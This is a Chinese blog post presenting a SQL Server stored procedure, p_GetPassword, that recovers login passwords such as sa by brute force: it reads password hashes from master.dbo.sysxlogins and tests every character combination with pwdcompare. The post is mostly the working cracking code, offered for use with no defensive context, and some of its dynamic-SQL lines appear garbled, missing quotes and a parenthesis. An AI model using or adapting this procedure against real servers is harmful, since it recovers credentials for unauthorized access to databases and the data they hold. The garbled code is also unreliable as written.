一个SQL Server Sa密码破解的存储过程

一个SQL Server Sa密码破解的存储过程:

SQL代码
  1. if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]'and OBJECTPROPERTY(id, N'IsProcedure') = 1)   
  2. drop procedure [dbo].[p_GetPassword]   
  3. GO  

 /*--穷举法破解 SQL Server 用户密码
可以破解中文,特殊字符,字符+尾随空格的密码
为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII
理论上可以破解任意位数的密码
条件是你的电脑配置足够,时间足够
/*--调用示例

SQL代码
  1. exec p_GetPassword   
  2.   --*/   
  3.   create proc p_GetPassword   
  4.   @username sysname=null--用户名,如果不指定,则列出所有用户   
  5.   @pwdlen int=2 --要破解的密码的位数,默认是2位及以下的   
  6.   as   
  7.   set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end   
  8.   select top 255 id=identity(int,0,1) into #t from syscolumns   
  9.   alter table #t add constraint PK_#t primary key(id)   
  10.   select name,password   
  11.   ,type=case when xstatus&2048=2048 then 1 else 0 end   
  12.   ,jm=case when password is null then 1 else 0 end   
  13.   ,pwdstr=cast('' as sysname)   
  14.   ,pwd=cast('' as varchar(8000))   
  15.   into #pwd   
  16.   from master.dbo.sysxlogins a   
  17.   where srvid is null   
  18.   and name=isnull(@username,name)   
  19.   declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)   
  20.   declare @l int   
  21.   select @l=0   
  22.   ,@s1='char(aa.id)'   
  23.   ,@s2='cast(aa.id as varchar)'   
  24.   ,@s3=',#t aa'   
  25.   exec( 
  26.   update pwd set jm=1,pwdstr='+@s1+'   
  27.   ,pwd='+@s2+ 
  28.   from #pwd pwd'+@s3+ 
  29.   where pwd.jm=0  
  30.   and pwdcompare('+@s1+',pwd.password,pwd.type)=1   
  31.   ')   
  32.   while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)   
  33.   begin   
  34.   select @l=@l+1   
  35.   ,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'   
  36.   ,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'   
  37.   ,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)   
  38.   exec( 
  39.   update pwd set jm=1,pwdstr='+@s1+'   
  40.   ,pwd='+@s2+ 
  41.   from #pwd pwd'+@s3+ 
  42.   where pwd.jm=0  
  43.   and pwdcompare('+@s1+',pwd.password,pwd.type)=1   
  44.   ')   
  45.   end   
  46.   select 用户名=name,密码=pwdstr,密码ASCII=pwd   
  47.   from #pwd   
  48.   go  

Tags: sql server, 密码破解

« 上一篇 | 下一篇 »

Trackbacks

点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5

发表评论

评论内容 (必填):